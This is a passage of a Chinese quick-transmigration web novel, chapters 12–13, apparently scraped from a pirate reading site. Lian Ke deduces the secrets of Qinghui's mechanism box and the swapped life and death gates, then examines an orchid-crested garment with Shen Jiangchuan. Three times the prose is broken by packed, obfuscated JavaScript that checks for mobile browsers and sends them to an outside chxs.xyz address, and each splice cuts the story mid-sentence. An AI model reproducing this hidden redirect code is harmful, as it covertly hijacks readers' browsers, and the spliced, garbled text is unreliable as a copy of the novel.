;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045290|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的发自真心觉得没什么问题,甚至很奇怪清徽和沈绛川方才的反应。 沈绛川嘴角一僵,那点幸灾乐祸顿时无影无踪,剩下的全是对自己年纪的怀疑。 他的年龄该不会……还不到这两人的零头吧? “抱歉,忘了。”连珂此时也反应过来,懊恼地扶额。都怪这个世界的设定过于离奇,她差点就忘了原作只是个普通架空文。 为了把话题从虚幻的年纪转回正题,连珂自觉接过话头。 “总之……年纪大小没什么。不过,倒是给我提了醒。纵使此方世界与外界时间流速不同。但既然最初的匣子破损了,你回到了现实,就说明时间要回流吧。” 时间流速不同,不仅能解释清徽超乎常人的年纪和与年龄不符的外表,也能解释她和沈绛川来到归客客栈的时间差。 如此,再结合梦中的另一个清徽说的话,就能得出…… “仿制新的匣子也需要时间。回到现实后,孩童的身体才开始长大,结合你现在的外表,你在现实待了十多年,长大成人后才回到了仿制完成的匣子里。” “时间太凑巧了,既不是少年也不是垂垂老矣的老人,而是人生中最风华正茂的青年。而且如果初代的匣子破损是意外,十几年,哪怕是天才也很难从头开始复刻吧。” “只能说,你提前有过计划,利用甚至催化了匣子的破损。其实你是故……有意回到现实的,是吗?” 连珂出于一种自己都说不清道不明的心态,把已经到嘴边的“故意”换成了没那么尖锐的“有意”。 清徽了然地朝她笑笑,似乎是在无声地感谢她的措辞。 只是一个字的改变,却能说明,连珂或许不完全信任他,但至少还没把他当作敌人。 “清徽……当时确实一心想要回到现实,为家族洗清冤屈。然而真正回去后,却发现沧海桑田,近百年时光,一切早已无可挽回。” “说来惭愧,”清徽垂眸,夹杂着似有似无的悲凉叹息,“清徽亲眼得见那般光景,四处寻觅未有亲友,举目无亲,天地之大竟无一人与我血脉相连。” “连洗清冤屈,都似乎变成了一件没有意义的事。再如何,逝去的亲人与朋友也不可能回来,机关术的传承在现实也已然断绝。” “更难以接受的是,所谓的仇人,也早化作一抔泥沙。可若将仇恨延续到下一代……” “百年时间,足够皇位更迭数代。莫说现在的皇帝,就是再往上数几代,当年惨案发生的时候,他们甚至都没出生。” “在下就算向他们报仇,又到底报了什么呢。对着不知情者挥出刀刃,难道只为自己讨个心安吗?” 清徽说话间,某个多少和皇室有些血脉瓜葛的小崽子,默默低下头。 连珂顺手揉了揉沈绛川的脑袋,清徽也注意到这边的动静,轻声道:“沈小公子误会了,清徽对你并无怨恨之意。” 良久,他苦笑道:“甚至对现在的皇室,清徽也并无仇恨。毕竟传承至今的,也并非他那一脉的子孙……真算起来,血缘也早已稀薄。” “‘回到现实’,这几个字先前是清徽的向往。但真回去了才知道,爱无可爱,恨无可恨,天地之间惟余孑然一身。万般凄楚,不若不回。” 12. 第 12 章 真相 “叮——”是系统的提示音。 连珂明白它的意思,回了一句“知道了”,没再进一步说下去。 系统无非就是想借清徽的例子,变相提醒她早已接受的事实。 可她和清徽不一样:清徽是为了少时难以摆脱的梦魇回到现实,失望而归;她是单纯为了自己,无所谓沧海桑田。 梦里的清徽曾提到过,“我的身体已然羸弱不堪,难以承托完整的灵魂。要勉强维系生命,只能将魂魄一分两半,一半游弋梦境,另一半滞留现实。” “即使这般苟延残喘,缺魂之人仍为世所不容。现实里的另一半魂魄也渐渐迷失,连着归客客栈所在的竹林也被屏蔽其中。” 他没说魂魄分裂的真实原因,连珂也没多问。 当时连珂只是觉得,所谓的羸弱,不过就是原作加在清徽身上的基础设定,惊才绝艳却天妒英才。 原作对清徽本人着墨甚少,只拿他当作天上高悬的明月,不许他有七情六欲,甚至不许他活着。 但在任务世界中,缺失的细节和逻辑都会得到补充。毕竟任务世界也是一个完整的小世界,世界的维系不能光靠空洞的月光照拂。 所以世界补全逻辑后,清徽变成了爱恨皆无所求的世外之人。在匣子里长大,出来后却难以面对现实,又缩回了匣子。 一方面他出来后和现实格格不入,另一方面浓烈如潮的情感被百年的光阴稀释殆尽。 现在看来,所谓的“难以承托完整的灵魂”,更多是一种委婉的借口。 是梦里那个清徽,对眼前这个清徽,残余的温柔的托辞。 若要细究原因,恐怕比什么奇幻假说单纯得多:当年从匣子里出来后,清徽难以接受现实,于是在巨大的打击下,神智出现剧烈的恍惚,导致一分为二。 一半带着放松下来的心绪。调整好心情,即使仍然不愿意真的从新的匣子里出来,也一定程度上做到了和现实接轨,开设一间只有“有缘人”才能到访的归客客栈。 ——实际就是为一些路过的闲人雅士,单独开辟一个可以走进新的匣子的通路,就像连珂进来时的画卷机关。 另一半独自承担了沉重的压力和自我怀疑,遁入意识的最深处,再不出面。他用自身禁锢曾经导致分裂的巨大痛苦,不去影响好不容易安居下来的表层人格。 但是为什么他拥有入梦的能力……开玩笑,世界都能制造了,想来按这粗制滥造的样子,入梦也是机关术的一种。 连珂不自觉摸了摸头后方安置芯片的部位,心想,症结或许就在于:她被快穿公司改造过后的身体,本身也算是一种设计精巧的机关,可以被操控。 阴差阳错,机关被一位机关大家发现,才有了后来这般奇幻的经历。 两个清徽都断定她是世外之人,她确实是,但他们感受到的不属于此地的气息,恐怕更多是来自她体内的芯片。 这么一通总结下来,似乎都可以解释目前遇到的种种异状,也可以为接下来的出路做足准备。 但梦清徽在梦境中所说的,到底是意识为疗愈自身编造的谎言,还是确有其事。 人无法想象自己没经历过的事情,什么平行世界,什么生死边界……恐怕并非完全都是虚幻的说辞。 至少,眼前这个清徽,或许确实不知道为什么半年来,客栈都没有生意,也不知道她寻路时经历的凶险的毒雾。 连珂又想起在竹林探索时的四把古琴,生、死、实、虚,代表四条通路。 沈绛川毫无障碍地骑着狮子踏入竹林,是“生”。一方面,他确实是活人,而且难得的十分正常,既没有多余的寿数也没有改造的躯壳; 另一方面,他是男主,是这个世界的大气运者,他想做到的,基本都能一一兑现,在剧情之外的地方也总是十分幸运。 按清徽温和的性格,以及之前有不少人光顾客栈,基本可以断定,此前客栈经营时,与现实连接用的是生门。 然而不知为何,半年前生门消失,客人们再找不到归客客栈的位置,也就无从来此。 清徽因往事不愿走出匣子,宅在匣子里又找不到现实中人询问,只得接受客栈生意萧条的事实,完全没意识到是门出了问题。 不过沈绛川能进来,就说明生门至少没被完全破坏,顶多是藏了起来或变了位置,只有男主这样的大气运者才能靠运气找到。 至于连珂……在梦清徽的指引下去找客栈,走到那个死胡同,倒霉地花积分找机关,再进去历经九死一生,凭着琴声找到清徽。 现在回想往事,当时之所以连珂死活找不到机关所在,一则她总骗系统自己经验和记忆一块儿故去了,二则机关被“藏”起来了。 系统用积分强行显现机关,连珂才跌跌撞撞进去,然后十分不幸地面对了死门。不过好在是她走死门,毫发无损地散步就散过去了。 若假设梦清徽不是有意害她,那么,或许那个死胡同就是原先的生门所在之处,客人来来往往都从此经过。 然而不仅机关隐了,而且就算侥幸找到机关,面对的也是有来无回的死路,生门早就不在此处了。 但清徽作为新的匣子的制作者和唯一的主人,生门死门的触发,他真的会毫不知情吗? 沈绛川自生门入,辗转徘徊多日才得以找到归客客栈,见到清徽。 按照上面的猜想,客人既然之前都从生门入,那清徽这个掌柜,也该在生门附近徘徊才是,客栈也该在生门不远处。 若排除清徽对皇室血脉的敌意,原因就很清晰了:生门不仅在现实屏蔽,在内部亦然,脱离了清徽的控制。 生门与死门不仅在现实转换了位置,在匣子内对应的位置也同样被未知力量颠倒。 所以连珂自死门而出,倒是正逢清徽的琴音,又被其自然而然招待入了归客客栈。 而且,生门死门对应的空间流速应该是有差距的,所以才会让沈绛川这个后来者,反倒比她这个先行者在这里多待了几天。 以及,她记忆里闲庭信步过的毒雾,恐怕在混乱的时间流速加持下,其实也过了好几天。 种种原因加在一起,导致连珂和沈绛川的时间线和行动轴不一致,但仍然前后脚到了归客客栈,只相隔一个夜晚、一场中断的梦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045291|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 思绪渐渐明晰,离真相似乎只剩一步之遥。但仍有一层薄薄的窗户纸,未被捅破。 连珂回想着,她和清徽的初见,双方都算不上多友好。毕竟她一开口就是阴阳怪气,也不怪对方警惕。 而后来,让清徽对她放心下来的,是她一句随口编造的卦辞,不起卦不按格式,纯粹是她结合清徽原作经历编的。 “夏花易败,散予清风自留香。入梦恰似世外客,幽蝶觅香,笑言故人归。” 清徽在原作中恰似昙花一现,昙花本体早已枯萎,只留下香味让人时时惦念,魂牵梦萦。 连珂曾说过他幸运,一生未受什么坎坷,连逝去都是伴着幽蝶纷飞的梦境长眠,是世俗意义上的极其浪漫的死法。 但连珂现在会收回这句话,因为这话用来评价原作的清徽当然无伤大雅,但真实诞生在这个世界上的,却不好这般轻率地总结。 世界会自动补全缺失的逻辑和细节,但它到底脱胎自原作,不会轻易动摇原作的剧情,尤其是主线。 像连珂这样的攻略者,一般也只用来改变被攻略者的剧情。只不过这个世界的被攻略者,基于委托方的请求,不再是男主而是剧情进度而已。 换句话说,清徽必死,甚至按时间线来说,早该死了。 想来世界为他补“机关术”这个逻辑时,也没想到现在这个局面。 匣子内部与外界时间流速不一致,导致清徽不仅活着,还活到了一个肉体凡胎不该活到的岁数。 先前一百年还好,可男主沈绛川此时已经十三四岁,剧情主线刚刚要开始。 主线开始后,清徽若是仍然存活,这放在世界的宏观视角下,恐怕就多少有些“不知好歹”了。 而连珂给出的卦辞没经过多少修饰,单纯是突发的伤春悲秋,所以其中的意思不算难懂,更别提清徽这样的妙人。 硬要翻译的话,都有点不近人情:短寿早夭,但一生并无憾事,被世人铭记与传颂。 生门死门的隐藏与倒置,或许就是世界动的手脚。就算不真正让清徽死亡,如果能把他一辈子困在匣子里,不接触外界任何生命,这似乎与死亡也无太大分别。 至于原作需要清徽的地方,到时候世界意识再装模作样从匣子里弄出点东西,扔出去做精神图腾就好。 然而清徽似乎并不大满意这样的安排,他或许不知道具体为何,但应该能察觉到什么。 不然也不会对连珂的卦辞有那样的反应:一下子放松警惕,还口称“大师”,将她请入归客客栈。 梦清徽提示过,现在的归客客栈与竹林,是与清徽的魂魄一起,为世所不容,渐渐迷失,掉入了生死的边界。 活人轻易不能入,大气运者和闯死门者除外。 最后一个疑点,清徽到底察觉到了什么,知道了多少。 连珂收回思绪,整理了一番语言,去掉梦清徽和世界的部分,排除一系列系统屏蔽词,以尽量通俗易懂的语言跟清徽与沈绛川讲了自己的整套猜想。 然而说归说,连珂自己也明白,其实这套猜想,仍然有漏洞,甚至还有一个致命的缺点。 13. 第 13 章 白发 即,这桩桩件件连续推导下来的事情,都离不开一个重要的核心:假设清徽与梦清徽从始至终都心怀善意,丝毫未起歹心。 这样才能合情合理把锅全都推给自行运转的小世界。 然而连珂向来是个论迹不论心的人,再者,四个门得一起破解。若不出意外,清徽和梦清徽将分别负责“死”与“虚”,是字面意思上最危险的两门。 就算真有什么二心……连珂心想,到时候她稍微“不小心”从背后推一把,又不困难。 清徽和沈绛川听了连珂的推论后,俱是沉默不语。空气中明明有什么在蔓延,却又不够撬开唇齿。 作为推论的中心人物,某个公输家的后人既没说“是”,也没说“不是”。 看似只是误闯的小崽子,也好像被巨大的信息量吞没,一时不知所措,炸毛都不在意了。 “天色不早,该歇息了。掌柜的,再借客房一用,账后日补齐。”连珂率先打了个哈欠,暂且结束这场攀谈。 值得一提的是,她大抵是真的有些困倦了,这回竟然正经走了楼梯,再找到自己在二楼的客房,摸黑走进去,关门。 “如何走出匣子,以及匣子本身的异变,制作者当然比我更加清楚,我就不继续班门弄斧了。” “顺带一提,其实幸运也是天赋的一种,而且是极为难得的一种,要珍惜啊,说不定什么时候就能派上点特别的用场。” 提示到这份儿上,连珂自认已经仁义尽至,天时地利人和就算前两者半点不沾,最后的人和也要牢牢把握。 熟悉的被褥,熟悉的困倦感,不同的是,这回没有再被谁入梦,一夜好眠。 第二天一大清早,连珂的生物钟自动将她唤醒,分毫不差。 外面天还蒙蒙亮,连珂瞥了一眼窗外,揉了揉眼睛,第二回算是看清楚了。 于是她很快从窗户一跃而下,踩住即将射出箭矢的箭筒,手向下一捞,便正好抓到了某个穿着夜行衣鬼鬼祟祟的小毛贼……呸,男主。 连珂一把扯下沈绛川的面罩,脸上写满了“孺子不可教”,恨铁不成钢道:“这里一共就我们三个人,身形相差极大,你光遮脸有什么用?” “缩骨功易容术等等,你有一个会的吗,没那些本事就别擅自挑大梁。得亏是我抓到了,不然万一机关识别不灵敏,你蒙面踏进来就是死路一条。” “而且我跟你讲,这潜伏讲究一个月黑风高……不是,我和你说这个干什么。” 连珂及时止住传授不良经验的念头,借着微弱的光亮打量沈绛川。 后者正高高举起双手,向她展示静静躺在手心上的几枚叶片。 “抱歉让姐姐担心了,实在是事发紧急……若姐姐愿意听我解释的话,就请跟我来,这里不是说话的好去处。” 如果连珂没听错的话,沈绛川说前半句时,语气明显带了点暗喜的成分。 归客客栈的牌匾就在眼前,要是非要在它和沈绛川期待的眼神中二选一的话。 连珂接过叶子,随意用手指碾了碾,“就在这儿说吧,有什么不能当着清徽的面说的?” “姐姐……” 沈绛川还欲再争取什么,“吱呀”一声,客栈的木门突然从内打开,一双银履自其中踏出。 连珂还没看清楚,就被沈绛川一把拉到了身后,显而易见的警惕。 霜发雪睫、似妖非妖的美人,在初晨晦暗光线的照拂下,看不清神色。他缓步向前走着,连风都不曾撩动一缕发丝。 明明看着不过轻移莲步,却转瞬间就到了二人身前不足一寸之处。 沈绛川的手依旧紧抓着连珂的袖子,连珂发觉事态有异,暂且没挣脱,隔着沈绛川,饶有兴致地去打量清徽。 是的,这个白发美人无疑就是换了一个色、并且奇迹般地站了起来的清徽,五官一致,身形一致,又怎么可能不是一个人呢。 连珂开口道:“这位公子好生眼熟,竟像是在梦里见过的。” 白发美人仿佛对她的话置若罔闻,只是一味地向前走,向前走,甚至没想过中间还有两个人隔着,沈绛川一路带着连珂后退。 “嗯……看来是梦游了。”连珂判断完毕,被沈绛川抓住的手臂,稍微用了点力一转,两人的形势便瞬间逆转。 随后连珂拉着沈绛川向旁边一让,清徽便继续直着走下去,身影没入竹林。 “姐姐,他身上肯定有鬼……不能信他,不信您看,这些叶子明明就……” 说着,沈绛川试图用自己捡到的叶子证明,方才明明给了连珂,可连珂手中却空无一物。 “诶?” 连珂无辜摊手,指尖指向清徽背影消失的方位,“他一经过,那些叶子就自动消散了。” 沈绛川看着连珂的脸,最终放弃了质疑,低声道:“姐姐似乎对此异状并不感到奇怪,是早就知道,而且根本不在意吗?” 语毕,他也没等连珂的回答,自顾自说道: “是我着相了,竟然还觉得姐姐被他蒙蔽。” 连珂冷静道:“你是看到他青丝变白发,才半夜穿着夜行衣溜出去的?” “……是,但我刚才就想说了,这其实不是夜行衣。” “嗯?” 沈绛川无奈地扯了扯身上劣质的黑色面料,解释道:“客栈里料子好的衣服大多是白衣,我好不容易才找到这么一身黑色的。” 沈绛川本意是插些无关话缓解一下气氛,不料对面的连珂却眼睛一亮,抓着他肩膀追问道:“你确定这是客栈里唯一一件黑衣裳?” “是,掌柜翻了半天衣柜,才从最角落给我扯出一件。他还反复说这衣服太旧了,本来不打算拿出来的,是我很执着要黑色的。” 虽然沈绛川对连珂突然的反应摸不着头脑,但还是乖乖如实回答。 “衣角或内衬处有没有什么东西?” 沈绛川最后瞄了一眼清徽消失的方向,确定了连珂并没有追上去的打算,就跟着连珂回了客栈检查。 沈绛川去隔间换了衣服,把这件黑色的单独取出来交给连珂。 连珂把衣服摊开放在桌子上,再翻过来,把衣角、衣领、内衬都仔仔细细检查了一遍,终于在内衬处摸到了一处奇异的纹路。 那是一朵绣上去的盛放的兰花,花瓣向外舒展倾垂,与现实存在的兰花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056662|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相比,形似而神非。 沈绛川一眼便认出来,那是辰王府传承下来的标志——远辰兰。 他自己的衣服的衣角处也有一枚,几天前,沈绛川就是因为这朵兰花被清徽认出身份的。 “……这,我竟然没有发现。”沈绛川只觉后背被冷汗浸透,莫名的荒谬感浸润心头。 清徽是百余年前的人,而辰王府用这朵花作为标志,从沈绛川祖辈的祖辈便开始了。 这说明,他的祖先和清徽的家族不仅有渊源,而且渊源不浅。 “那他认出我时,到底心里在想什么……我本以为他是因我的王族身世有怨,现在看来,恐怕远远不止于此。” 连珂冷不丁打断他的不安,说道:“他自己不是说释然了吗,你也别太纠结这个。而且这兰花,不一定指向仇人关系吧。” 沈绛川迟疑道:“可是辰王府对远辰兰极为重视,非王族不得配。清徽有这件衣裳,只能说当时抄家时,也有辰王府的人参与。” 连珂拍拍他的肩膀,安抚道:“安心,谁抄家去还留一件衣服啊,更别提留下的还是这种酷似夜行衣的简陋款式,布料也很粗糙。” 沈绛川情绪安稳了一些,轻声说道:“那姐姐的意思呢?总不至于这衣服是清徽的吧?” 连珂眨眼,“笨。” 沈绛川重新看向这件衣服,既然正合他的身形,说明衣服的主人是个与他年龄相仿的少年。 清徽被抄家的时候,是什么年纪来着…… 连珂看出他在想什么,提醒道:“等从匣子出去后,你慢慢长大,走到了一定高度,了解一些家族秘辛,或许会有答案。” “毕竟直觉来讲,这好像不是能放在明面上谈的事情。我也不知道具体为何。” 连珂没说谎,原作对清徽的背景一笔带过,所以现在和清徽有关的一切,百分之九十都是剧本上没写的。 只是既然现在和男主联系上了,那就说明这条线不可能只是支线了,终究会汇入主线的。 运气好的话,或许还能占个百分之十左右的任务进度。 沈绛川郑重地点点头,那副极其正经的小大人模样把连珂逗笑了,“怎么?” 沈绛川郑重开口道:“如果这就是姐姐想从我身上得到的东西,我当然会双手献上。” “嗯?” 沈绛川继续说道:“我很早就知道,姐姐来找我一定是有目的的。” “从第一次见面,到现在,姐姐愿意容忍我在身边,肯定是我对姐姐还有一些用处。我愿意配合姐姐,只要姐姐不抛下我。” “不要再像上次不告而别可以吗……我会尽力做到一切姐姐想要的事情的。” 这本应该是令人感动的肺腑之言。 但可惜连珂对此,满心都是诧异。 她盯着沈绛川的脸看了许久,才勉强相信他不是在开玩笑。 他是真的发自内心地觉得,她从一开始就在利用他,并且愿意被利用。 这种心态对于原作男主表现出来的性格来说,简直是不可理喻。 “那沈绛川,你的所求又是什么呢,宁愿对一个陌生人卑微至此。”